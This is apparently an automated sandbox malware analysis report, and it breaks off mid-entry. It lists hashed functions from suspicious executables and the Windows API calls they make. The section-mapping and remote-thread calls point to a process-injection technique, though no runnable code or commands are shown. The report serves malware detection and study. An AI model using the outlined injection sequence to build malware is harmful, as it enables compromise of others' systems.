Function 0041091A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51089819093c43019874efc3920b1efacf9587d3f205b84763846640c86305f2
Instruction ID: b0cd7efb3881d9b3a963966fe3409d4ddc9c22448511cec5bd94ee76d7506236
Opcode Fuzzy Hash: 51089819093c43019874efc3920b1efacf9587d3f205b84763846640c86305f2
Instruction Fuzzy Hash: B6E0FEB4A04209AFCB40DF58C18469EBBF0EB48314F10C859F858D7301D379EA509F12

Function 0040EDA1 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107651adfdec046f22a30b953c0c0e1492e875f6696c81ff378cbca3bab24482
Instruction ID: 28343df82bf1b62ee17bbcb750f3a4c7c606da3858416a10f89ab92bf0357718
Opcode Fuzzy Hash: 107651adfdec046f22a30b953c0c0e1492e875f6696c81ff378cbca3bab24482
Instruction Fuzzy Hash: DBD0C9382017049FC700EF68C085A087BE4AB0A344F418488E9859B361D274E8449B81

Function 0040DE1E Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9394d148065dc2e909241a478bff279964b5a20ba34595c83bb40686dd9c25b2
Instruction ID: e6b9ab3bdf2ef03fcc2a6585ea530cbc44af2b48c63f685c3e0760148a44f72e
Opcode Fuzzy Hash: 9394d148065dc2e909241a478bff279964b5a20ba34595c83bb40686dd9c25b2
Instruction Fuzzy Hash: F3D0C9382007049FC700EF6CC086A087BE4AB0A344F418484E985DB361D674E9449B81

Function 00409466 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f46f1ddbd888cb8fb3caf1a7592bb5d18d3fcb7db97d3fec7adb14089eba75
Instruction ID: a2cb7b6c807b7cc3dcc15eb02a2eaa115f6ecc571fac109568e2fb69d2d8435f
Opcode Fuzzy Hash: 44f46f1ddbd888cb8fb3caf1a7592bb5d18d3fcb7db97d3fec7adb14089eba75
Instruction Fuzzy Hash: B3C00274904208DBCB00DF98C0985DCBBF4AB09304F518854EC64D7201C379A6408F11

Function 004047AF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7496c9abbb1e7d3455280672c6eb57923c25a17fc93ca8f1f255cd77e6728406
Instruction ID: 54f0d02c277385b77f7f952a4043ffd3eeb1d4ef131913eba4fe676f4e956275
Opcode Fuzzy Hash: 7496c9abbb1e7d3455280672c6eb57923c25a17fc93ca8f1f255cd77e6728406
Instruction Fuzzy Hash: 85A011B80082008ACB00AF28C0800283AA0BA80380B80082AA88083280C23C82808A03

Non-executed Functions

Function 00431E07 Relevance: 14.1, Strings: 11, Instructions: 313COMMON

Download Yara Rule

Strings

I, xrefs: 004320A6
D, xrefs: 004320AA
@, xrefs: 00431E7A
), xrefs: 00431ECB
P, xrefs: 00432016
T, xrefs: 004320B2
IHDR, xrefs: 00432172
Zy~, xrefs: 00431F2B
A, xrefs: 004320AE
N, xrefs: 0043201A
G, xrefs: 0043201E

Memory Dump Source

Source File: 00000008.00000001.1796912620.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_401000_kFXFCWzZNovbPAcE4V3M4DAO.jbxd

Similarity

API ID:
String ID: )$@$A$D$G$I$IHDR$N$P$T$Zy~
API String ID: 0-2779591581
Opcode ID: ae433dced1f9ffa8c785ebdf09278b13e76ca3695d5264077bf4735b7c8d9b5f
Instruction ID: 9820c1dc3e7d917ba19a2200bf3fb95368a3839bb42cbdbe1a677909d678d956
Opcode Fuzzy Hash: ae433dced1f9ffa8c785ebdf09278b13e76ca3695d5264077bf4735b7c8d9b5f
Instruction Fuzzy Hash: C9F1B374908389CFDB00DFA8C584B8EBFF0AF59304F148559E498AB352D3799949CFA6

Analysis Process: 5Hyf8PuolQS_j4ZkhvHWpkWr.exePID: 4924, Parent PID: 6388COMMON

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.1%
Total number of Nodes:	118
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 7e1873f1d77be6ac03ef9cfc7342e6364087b58188b66d07b59adfe636bbab3f
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 7e1873f1d77be6ac03ef9cfc7342e6364087b58188b66d07b59adfe636bbab3f
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 028504FA Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02850522
Module32First.KERNEL32(00000000,00000224), ref: 02850542

Memory Dump Source

Source File: 00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0283E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_283e000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 926039e226a323520aeac83f46e745cb199579f872be67e9a0d918f930f3ccb9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EFF0963D1007246FD7203FF9A88CBAE77ECAF4D769F100528EA86E10C0DB70E8458A61

Function 025F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 025F024D

Strings

kernel32.dll, xrefs: 025F008F, 025F0095
cess, xrefs: 025F018D

Memory Dump Source

Source File: 00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_25f0000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 2bc16f8fc9d674a359e82255396bfaf4460c3dcf40cbb1e3c6c00cf5a97d9ab5
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 1D525B74A01229DFDBA4CF58C984BA8BBB1BF09314F1480D9E54DAB356DB30AE85DF14

Function 025F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,025F0223,?,?), ref: 025F0E19
SetErrorMode.KERNELBASE(00000000,?,?,025F0223,?,?), ref: 025F0E1E

Memory Dump Source

Source File: 00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_25f0000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 628376f22f89637915a514a29e8cea632e2d58ee58e53dd2b420f71a9b81e576
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F2D01231545128B7D7402A94DC09BCD7F1CDF05B66F048011FB0DD9081C770954046E9

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 028501B9 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0285020A

Memory Dump Source

Source File: 00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0283E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_283e000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d1517a55b221329a8408083fff29e174c9e9d77b998bb1e1e1799bd4342d8696
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7E113C79A00208EFDB01DF98C985E99BFF5AF08350F058094F9489B361D371EA50DF81

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000009.00000002.2598265535.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_5Hyf8PuolQS_j4ZkhvHWpkWr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: aFBKY19rLrQU72E14du4WCPo.exePID: 6948, Parent PID: 6388COMMON

Executed Functions

Function 00D91310 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 469f7af03b7f12110986dcbdd4ee99e7726c8175c9958e78568129c9859ec2ae
Instruction ID: 0530e8e6b3ed2241ea4f97f76c52c020cbf86ad6b27097d7687dcdc4d80d80d8
Opcode Fuzzy Hash: 469f7af03b7f12110986dcbdd4ee99e7726c8175c9958e78568129c9859ec2ae
Instruction Fuzzy Hash: 16716E789012288FEB64DF64DD54B9DBBB2FB49300F1081EAE50EA32A0DB755E85CF51

Function 00D97718 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f62e8a3ca1d9c6f164b7c14a5384e29492369918b0b5404e777581f5ff535801
Instruction ID: 34bdc7a165bf27d51c010a4f2b662139ebb3d4abf429f08f3e006b6ce836fd0a
Opcode Fuzzy Hash: f62e8a3ca1d9c6f164b7c14a5384e29492369918b0b5404e777581f5ff535801
Instruction Fuzzy Hash: C941E174D18219CFDF04DFE9D848AEEBBB5BF48300F24842AE416A7264E7B49945CF61

Function 00D90980 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61db9bc7855bf37de91b15ea9ee84bb99121c4ff16624c84e7aa810ffdeae53d
Instruction ID: 07df31b5cbd7dda97bdd22664bcb2bd273fe97bd40bacd8577b164d626ee8699
Opcode Fuzzy Hash: 61db9bc7855bf37de91b15ea9ee84bb99121c4ff16624c84e7aa810ffdeae53d
Instruction Fuzzy Hash: B4319170A08359AFDF44DBB9A850AAEBFF1EF46304F1445AAD408D7252DB749900CF61

Function 00D90818 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de944e76387f8c813614b5196d175ceb952888908fa49bafc77f61ed54937e96
Instruction ID: a193e3b3175b544948755b6cc87e33104849a7fe48ef5bdb6cbdfd08ac9e2158
Opcode Fuzzy Hash: de944e76387f8c813614b5196d175ceb952888908fa49bafc77f61ed54937e96
Instruction Fuzzy Hash: A1F06DA381F3C28FDB0387B4A8196997FA49B27351B1A0ADAD085C7163E3908905D762

Function 00D97600 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

